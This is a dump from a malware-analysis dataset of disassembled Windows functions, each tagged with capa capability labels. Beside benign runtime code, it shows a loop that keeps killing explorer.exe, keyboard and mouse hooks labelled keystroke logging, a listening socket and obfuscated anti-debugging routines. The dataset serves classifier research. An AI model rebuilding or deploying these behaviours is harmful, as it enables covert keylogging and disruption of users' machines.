joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800f7af0
Capabilities:
Get graphical window text

Disassembly:
sub rsp, 0x78
test rdx, rdx
je 0x1800f7b58
mov r10, qword [rcx + 0x10]
test r10, r10
je 0x1800f7b42
cmp qword [rcx + 0x18], 0
jne 0x1800f7b3d
mov eax, dword [rcx + 0xc]
cmp eax, dword [rcx + 0x30]
jae 0x1800f7b5e
mov qword [rsp + 0x58], rdx
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0x50
mov edx, eax
mov dword [rsp + 0x24], 0x40
mov r8d, 1
mov rcx, qword [r10 + 8]
call qword [sym.imp.USER32.dll_SetMenuItemInfoW]
add rsp, 0x78
ret
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1800f7b58
mov rcx, qword [rcx + 0x40]
add rsp, 0x78
jmp 0x180108814
call fcn.1800f389c
int3
call fcn.1800f389c
int3
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x230
mov rax, qword [0x180185680]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbx, rdx
mov rdi, rcx
test rcx, rcx
je 0x1801088cb
test rdx, rdx
je 0x1801088cb
mov rcx, rdx
call fcn.180128998
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x200
mov rsi, rax
call fcn.180113150
mov eax, 0x100
cmp rsi, rax
ja 0x18010889a
mov r8d, eax
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextW]
cmp eax, esi
jne 0x18010889a
mov rdx, rbx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1801088a6
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowTextW]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.18010faf0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1800f389c
int3

Function at 0x1800f8c9c
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x1800f8d17
xor r8d, r8d
call fcn.1800f8f64
mov rsi, rax
test rax, rax
je 0x1800f8d13
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rsp + 0x30]
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1800f8d13
mov eax, dword [rsp + 0x30]
jmp 0x1800f8d2d
mov eax, edi
jmp 0x1800f8d2d
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1800f97b4
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x1800f981b
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800f982f
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800f982f
mov rcx, qword [rbx]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rdi
mov rcx, rsi
call qword [case.0x1800fd536.0]
jmp 0x1800f9834
cmp dword [rcx + 8], 0
je 0x1800f982f
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x1800f9834
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x1800fde78
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rbx, r8
mov rcx, qword [rcx + 0x40]
call fcn.1801088d4
mov rdi, rax
test rax, rax
je 0x1800fdef4
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov esi, eax
test rbx, rbx
je 0x1800fdeef
cmp dword [rbx], 0x40
jb 0x1800fdeef
mov rcx, qword [rbp + 0x40]
xor r9d, r9d
or dword [rbx + 4], 1
xor r8d, r8d
or qword [rbx + 0x30], 0xffffffffffffffff
mov edx, 0x87
mov qword [rbx + 8], rcx
mov rcx, rdi
mov qword [rbx + 0x10], rdi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x1800fdeef
or dword [rbx + 4], 0x80000002
mov rax, rsi
jmp 0x1800fdef8
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180109b1c
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rbx, rdx
mov rcx, qword [rdx]
cmp dword [rcx - 0x10], 0
je 0x180109b4e
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180109b4e
lea rcx, [rdi + 0x120]
mov rdx, rbx
call fcn.18010e0c8
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x180109b60
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rdi, rdx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x180109b86
mov r8, rdx
mov rdx, qword [rbx]
call fcn.1800f97b4
jmp 0x180109bf1
cmp byte [0x180195248], 0
jne 0x180109bca
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180109bba
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180195240], rax
jmp 0x180109bc1
mov rax, qword [0x180195240]
mov byte [0x180195248], 1
jmp 0x180109bd1
mov rax, qword [0x180195240]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x180109beb
mov r8d, dword [rbx + 8]
xor r9d, r9d
call qword [case.0x1800fd536.0]
jmp 0x180109bf1
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18013028c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x18013012c
call fcn.18011a7d0
mov dword [rax], 0x16
call fcn.18011a64c
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x180130114
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x180130114
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x18013015e
lock or dword [rax + 0x14], 0x10
jmp 0x180130114
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x18013017b
mov rcx, qword [rbp + 0x10]
call fcn.1801353d0
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.18012c2dc
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.18012fb64
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x1801301d2
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x180130114
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x18013023e
mov rcx, qword [rbp + 0x10]
call fcn.18012c2dc
cmp eax, 0xffffffff
je 0x180130225
mov rcx, qword [rbp + 0x10]
call fcn.18012c2dc
cmp eax, 0xfffffffe
je 0x180130225
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.18012c2dc
movsxd rdi, eax
lea rsi, [0x180195ce0]
mov rcx, rbx
sar rdi, 6
call fcn.18012c2dc
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x18013022c
lea rax, [0x180185980]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18013023e
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x180130274
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x180130270
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x180130270
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x180130117
jmp 0x1801300e4
Function at 0x73e840
Capabilities:
Encode data using xor

Disassembly:
and dword [rbp - reloc.oleaut32.dll_SysFreeString], ebp
add cl, ah
test byte [rdx], 0xcc
rcl byte [rsi]
mov dword [rax + rcx*2 - 0x4c], edx
xor eax, 0x41a634f6
adc al, 0xcd
pop rdx
sbb ah, byte [rbp + 0x4b4089f7]
cmp eax, dword [rdi]
lahf
jno 0x73e845
imul eax, dword [rdx - reloc.oleaut32.dll_SysFreeString], 0xeba93c78
cmpsd dword [rsi], dword [rdi]
insb byte [rdi], dx
or dword [rbp - reloc.oleaut32.dll_SysFreeString], eax
mov esi, 0xfd8c68ec
invalid

Function at 0x73eb10
Capabilities:
Encode data using xor

Disassembly:
push rbx
movabs al, byte [0xf0acf3dc49d87aee]
xchg esp, eax
xor al, 0xf4
test dword [rbx - reloc.oleaut32.dll_SysFreeString], eax
loope 0x73eb3b
fdivr st(3), st(0)
lodsb al, byte [rsi]
invalid
invalid
or eax, 0xe3b042df
jle 0x73eb16
ret

Function at 0x1198b6f
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg qword [rsp], rax
call fcn.011989a9
bts r11d, esp
jmp 0x1198aeb
mov dl, cl
mov rsi, qword [rsp]
sets r14b
mov r8d, 0xb4ed0dec
jmp 0x1198b42
xchg r13w, ax
bts rbx, rsi
stc
jmp 0x1198b53
xchg r13w, ax
bts rbx, rsi
stc
mov bx, 0xc9b9
setb sil
jmp 0x1198bb9
mov rbp, 0x63efd459
mov rax, r11
ror dl, 0
jae 0x1198b1e
jb 0x1198b08
mov bx, 0xc9b9
setb sil
jmp 0x1198bb9
mov bl, byte [rsp]
xchg bl, r13b
rdtsc
mov ebp, r14d
lea r11, [r10*8]
jmp 0x1198aaa
lea rbp, [rsi*4]
mov r8d, r9d
not rbp
jmp 0x1198bc8
ror dl, 0
mov r8w, r11w
ror r11b, 2
jne 0x1198ba3
je 0x1198be6
mov ebx, dword [rsp]
mov r14d, dword [rsp]
bswap r11d
mov rax, qword [rsp]
jmp 0x1198eca
lea rbp, [rsi*4]
mov r8d, r9d
not rbp
mov ebx, dword [rsp]
mov r14d, dword [rsp]
jmp 0x1198bcf
bsr r13, rbp
jmp 0x1198d9c
bsr r13, rbp
call fcn.01198c0d
xchg qword [rsp], rcx
btc rdx, rcx
mov r13b, sil
pushfq
bts r11, r9
jmp 0x1198e06
inc rdx
xchg r13d, r11d
push qword [rsp + 8]
ret 0x10
inc al
inc r9b
xchg qword [rsp + 8], rcx
mov dl, bpl
lea rax, [r8*8]
mov esi, 0x12aac96b
jmp 0x1198dcb
push word [rsp + 1]
lea rsp, [rsp + 2]
lea rcx, [rcx - 0x26]
xchg rdx, r14
lea rbx, [rsp + rbp]
mov eax, dword [rsp]
jmp 0x1198de1
not dl
not r14w
inc al
ja 0x1198d98
jbe 0x1198c24
mov r13b, byte [rsp]
mov bp, dx
jmp fcn.01198f34
Function at 0x11d97c2
Capabilities:
Execute anti-debugging instructions

Disassembly:
rol bpl, cl
xchg rdx, rdi
pop word [rsp + 0x30]
lea rsp, [rsp + 0x1a]
jmp 0x11d97dd
not r10b
mov qword [rsp + 0x10], rbp
sub rsp, 0x1e
neg rcx
mov dword [rsp + 0x23], r8d
mov dx, r10w
jmp 0x11d9788
mov rbx, rbp
jmp 0x11d979e
lea r9, [rdi + r13]
bswap r11d
btr rbx, rax
xchg r12, r11
jmp 0x11d987a
mov sil, byte [rsp + 0xd]
pop qword [rsp]
push qword [rsp + 7]
pop r12w
mov rsi, rdi
bswap r13d
jmp 0x11d97c7
mov r9w, word [rsp + 4]
bswap rbx
xchg word [rsp + 0x13], r15w
jmp 0x11d9853
xchg byte [rsp + 0x12], r11b
cmc
mov r9, r11
mov di, r13w
mov word [rsp + 0x12], cx
sub rsp, 0
jmp 0x11d9825
xchg r8, rbx
push cx
bsf r12d, esp
add rsp, 8
inc r13d
mov r15b, byte [rsp + 1]
jmp 0x11d9890
xchg r13w, ax
cmc
pop word [rsp + 0xc]
bswap r8
xchg dword [rsp + 2], ebx
mov cl, byte [rsp + 5]
jmp 0x11d983b
mov r10b, byte [rsp + 3]
mov qword [rsp + 4], rax
neg r13w
mov r13w, 0x2c09
sete bl
pop rdx
jmp 0x11d9abc
mov rcx, qword [rsp]
mov r8w, word [rsp + 2]
mov r9d, dword [rsp + 4]
xchg byte [rsp + 4], sil
add rsp, 4
rcl r13, 0x26
jmp 0x11d98b9
xchg word [rsp + 5], r8w
lea r8, [rsp + r15]
inc bx
lea r12, [r9 + r13]
pop ax
cpuid
jmp 0x11d98cf
pop r13w
mov dword [rsp + 2], esi
xchg ebx, r10d
lea r8, [r10*8]
lea r11, [r10]
lea r13, [rcx + 0x354b]
jmp 0x11d9985

Function at 0x11da801
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [rsp + 7], r11d
mov r15w, 0x80d5
sbb ebp, r12d
jmp 0x11da822
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004ecf60]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x004ecf70]
mov dword [rax], 1
mov rax, qword [0x004ecf80]
mov dword [rax], 1
mov rax, qword [0x004ecf50]
mov dword [rax], 1
mov rax, qword [0x004ecdf0]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x004ecf40]
mov dword [0x0051700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x004eced0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x004ec210]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x4015d0
Capabilities:
Execute command

Disassembly:
call fcn.0040f145
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, str.start_taskkill__F__IM_explorer.exe
nop dword [rax]
mov rcx, rbx
call sym.system
mov ecx, 0x1f4
call rsi
jmp 0x4015f0

Function at 0x401810
Capabilities:
Log keystrokes via application hook

Disassembly:
call fcn.0040f145
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor r9d, r9d
mov ecx, 0xd
lea rdx, [dbg.KeyboardProc(int, unsigned long long, long long)]
mov r8, rax
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x00517050], rax
add rsp, 0x28
ret

Function at 0x401890
Capabilities:
Log keystrokes via application hook

Disassembly:
call fcn.0040f145
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
call rsi
xor r9d, r9d
mov rbx, qword [sym.imp.USER32.dll_SetWindowsHookExA]
lea rdx, [dbg.MouseProc(int, unsigned long long, long long)]
mov r8, rax
mov ecx, 0xe
call rbx
xor ecx, ecx
mov qword [0x00517058], rax
call rsi
xor r9d, r9d
lea rdx, [dbg.KeyboardProc(int, unsigned long long, long long)]
mov ecx, 0xd
mov r8, rax
call rbx
mov ecx, 0x2710
mov qword [0x00517050], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x00517058]
call rbx
mov rcx, qword [0x00517050]
call rbx
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
Function at 0x401920
Capabilities:
Create tcp socket
Create udp socket
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
call fcn.0040f145
push r13
push r12
sub rsp, 0x2d8
mov ecx, 0x202
lea rdx, [rsp + 0x130]
lea r12, [rsp + 0x30]
call qword [sym.imp.WSOCK32.dll_WSAStartup]
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WSOCK32.dll_socket]
mov edx, 0xff
mov rcx, r12
mov qword [rsp + 0x20], 0
mov qword [0x00517048], rax
mov eax, 2
mov qword [rsp + 0x28], 0
mov word [rsp + 0x20], ax
call qword [sym.imp.WSOCK32.dll_gethostname]
mov rcx, r12
call qword [sym.imp.WSOCK32.dll_gethostbyname]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WSOCK32.dll_inet_ntoa]
mov r12, rax
test rax, rax
je 0x401aa0
mov rcx, rax
call sym.strlen
mov rcx, qword [0x004ec800]
mov rdx, r12
mov r8, rax
call method.std::basic_ostream_char__std::char_traits_char____std::__ostream_insert_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const__long_long_
mov r13, qword [0x004ec800]
mov rax, qword [r13]
mov rax, qword [rax - 0x18]
mov r13, qword [r13 + rax + 0xf0]
test r13, r13
je 0x401ac2
cmp byte [r13 + 0x38], 0
je 0x401a68
movsx edx, byte [r13 + 0x43]
mov rcx, qword [0x004ec800]
call method.std::ostream.put_char_
mov rcx, rax
call method.std::ostream.flush__
mov rcx, r12
call qword [sym.imp.WSOCK32.dll_inet_addr]
mov ecx, 0x153a
mov dword [rsp + 0x24], eax
call qword [sym.imp.WSOCK32.dll_htons]
lea rdx, [rsp + 0x20]
mov r8d, 0x10
mov rcx, qword [0x00517048]
mov word [rsp + 0x22], ax
call qword [sym.imp.WSOCK32.dll_bind]
mov rcx, qword [0x00517048]
mov edx, 0x14
call qword [sym.imp.WSOCK32.dll_listen]
nop
add rsp, 0x2d8
pop r12
pop r13
ret
mov rcx, r13
call method.std::ctype_char_._M_widen_init___const
mov rax, qword [r13]
mov edx, 0xa
lea rcx, [dbg.std::ctype<char>::do_widen(char) const]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x4019f9
mov rcx, r13
call rax
movsx edx, al
jmp 0x4019f9
mov r13, qword [0x004ec800]
mov rax, qword [r13]
mov rcx, qword [rax - 0x18]
add rcx, r13
mov edx, dword [rcx + 0x20]
or edx, 1
call method.std::basic_ios_char__std::char_traits_char___.clear_std::_Ios_Iostate_
jmp 0x4019d4
call method.std.__throw_bad_cast__
nop
nop dword [rax + rax]

Function at 0x4027f0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x402860
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00517654]
mov r12, rcx
mov rdi, rdx
mov rbx, r8
test esi, esi
jle 0x4029e0
mov rax, qword [0x00517658]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x4028ac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x402931
inc ecx
add rax, 0x28
cmp ecx, esi
jne 0x402890
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x402a22
mov rax, qword [0x00517658]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00517658]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402a31
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40292b
sub eax, 4
and eax, 0xfffffffb
jne 0x402998
inc dword [0x00517654]
cmp ebx, 8
jae 0x402960
test bl, 4
jne 0x4029f0
test ebx, ebx
je 0x402953
movzx eax, byte [rdi]
mov byte [r12], al
test bl, 2
jne 0x402a10
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
dec ebx
mov rdx, qword [rdi + rax - 8]
mov qword [r12 + rax - 8], rdx
cmp ebx, 8
jb 0x402953
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rdi + rdx]
mov qword [r12 + rdx], rcx
cmp eax, ebx
jb 0x402978
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rsi, qword [0x00517658]
mov qword [rsi + 8], rcx
mov r9, rsi
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40292b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x4028b6
mov eax, dword [rdi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rdi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x402953
mov ebx, ebx
movzx eax, word [rdi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x402953
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x00517658]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call dbg.__report_error
nop
nop dword [rax]

Function at 0x403210
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00517940]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00517920]
test rbx, rbx
je 0x403264
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40325b
test r12, r12
je 0x40325b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403240
lea rcx, [0x00517940]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x403490
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x4034a0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x4034b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4034f5
dec ecx
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x4034ec
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4034f7
add rax, 0x28
cmp rax, r9
jne 0x4034d8
xor eax, eax
ret

Function at 0x4035a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004ecdf0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x403611
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403611
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x40360e
dec eax
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x403605
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x403611
add r8, 0x28
cmp r8, r9
jne 0x4035f0
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x4036f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x004ecdf0]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x40375f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40375f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x40375d
dec edx
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x403754
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403768
add rax, 0x28
cmp rax, r9
jne 0x403740
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403780
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004ecdf0]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x4037f8
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4037f8
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x4037f8
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4037f8
dec ecx
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop word [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x4037ec
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x403800
add rdx, 0x28
cmp rdx, r10
jne 0x4037d8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x40380f
dec r8d
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x40381d
mov edx, dword [rax + 0xc]
test edx, edx
je 0x4037f5
test r8d, r8d
jg 0x403808
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret